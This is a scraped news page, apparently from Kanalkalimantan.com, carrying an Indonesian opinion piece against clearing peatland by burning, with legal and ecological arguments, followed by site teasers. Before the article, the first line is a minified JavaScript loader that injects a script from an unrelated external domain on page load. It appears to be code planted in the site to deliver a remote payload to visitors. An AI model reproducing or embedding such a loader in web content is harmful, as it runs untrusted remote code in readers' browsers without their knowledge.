(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pembukaan lahan gambut dengan cara membakar sering dianggap sebagai metode mudah dan murah oleh sebagian petani kecil untuk memulai masa tanam. Namun, dalam konteks pengelolaan lingkungan dan penegakan hukum saat ini, praktik ini tidak lagi dapat dibenarkan, meskipun dilakukan atas dasar alasan ekonomi. Terdapat beberapa alasan mengapa praktik ini harus ditolak. Pertama, hukum positif di Indonesia secara tegas melarang pembakaran lahan. Undang-Undang Nomor 32 Tahun 2009 tentang Perlindungan dan Pengelolaan Lingkungan Hidup jelas menyatakan larangan melakukan pembakaran yang menyebabkan pencemaran atau kerusakan lingkungan (Pasal 69 ayat (1) huruf h). Pelanggaran terhadap ketentuan ini tidak hanya berupa sanksi administratif, tetapi juga ancaman pidana dan denda yang sangat besar. Artinya, secara normatif, negara telah menempatkan keberlanjutan lingkungan sebagai prioritas yang mengikat seluruh warga negara.
Kedua, lahan gambut merupakan ekosistem yang sangat rapuh. Apabila terbakar, lahan ini akan mengalami kerusakan permanen. Gambut menyimpan air dan karbon dalam jumlah besar; begitu terbakar, ia sulit dipadamkan, menghasilkan asap secara berbulan-bulan, dan melepaskan emisi yang memperparah krisis iklim. Dampak dari pembakaran ini tidak hanya dirasakan oleh petani itu sendiri, tetapi juga oleh masyarakat luas, seperti gangguan kesehatan, penutupan sekolah, lumpuhnya sistem transportasi, hingga kerugian ekonomi nasional. Sebesar risiko yang ditimbulkan tersebut, pembenaran atas alasan efisiensi biaya tidak dapat mengungguli potensi kerusakan yang ditimbulkan terhadap masyarakat.
Baca juga: Vivi Atlet Muda HSU Raih Perunggu di Kejurnas Kickboxing 2025
Ketiga, pemerintah pernah memberikan ruang pembakaran terbatas berdasarkan praktik lokal, tetapi ketentuan tersebut tidak berlaku untuk lahan gambut.
Pembakaran semacam ini hanya dapat dilakukan dalam kondisi tertentu yang diawasi secara ketat. Banyak putusan pengadilan juga telah memperkuat bahwa pembakaran pada lahan gambut merupakan tindakan yang melanggar hukum, meskipun pelakunya adalah petani kecil. Hal ini menunjukkan bahwa hukum tidak memberikan ruang pembenaran atas tradisi apabila berdampak pada kerusakan lingkungan dan keselamatan publik.
Keempat, solusi alternatif semakin tersedia. Program bantuan alat pengolahan lahan, pelatihan tanpa bakar, hingga dukungan ekonomi bagi petani telah diperkenalkan di berbagai daerah. Meskipun aksesnya tidak selalu merata, solusi jangka panjang tidak akan pernah tercapai apabila praktik merusak tetap ditoleransi. Pembiaran atas pembakaran lahan hanya akan memperpanjang lingkaran bencana dan ketergantungan pada metode yang tidak berkelanjutan.
Baca juga: Kegiatan Penerangan Hukum Kolaborasi Bagian Hukum Setda Banjar dan Kejari Banjar
Dengan mempertimbangkan aspek hukum, risiko ekologis, serta tanggung jawab negara dalam melindungi lingkungan hidup, saya menyatakan tidak setuju terhadap pembukaan lahan gambut dengan cara membakar, dalam kondisi apa pun.
Penolakan ini bukan untuk menyulitkan petani kecil, melainkan sebagai ajakan untuk membangun mekanisme dukungan yang lebih adil, berkelanjutan, dan aman bagi seluruh masyarakat. Perlindungan ekosistem gambut adalah investasi jangka panjang bagi keberlanjutan hidup masyarakat, baik hari ini maupun di masa depan. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.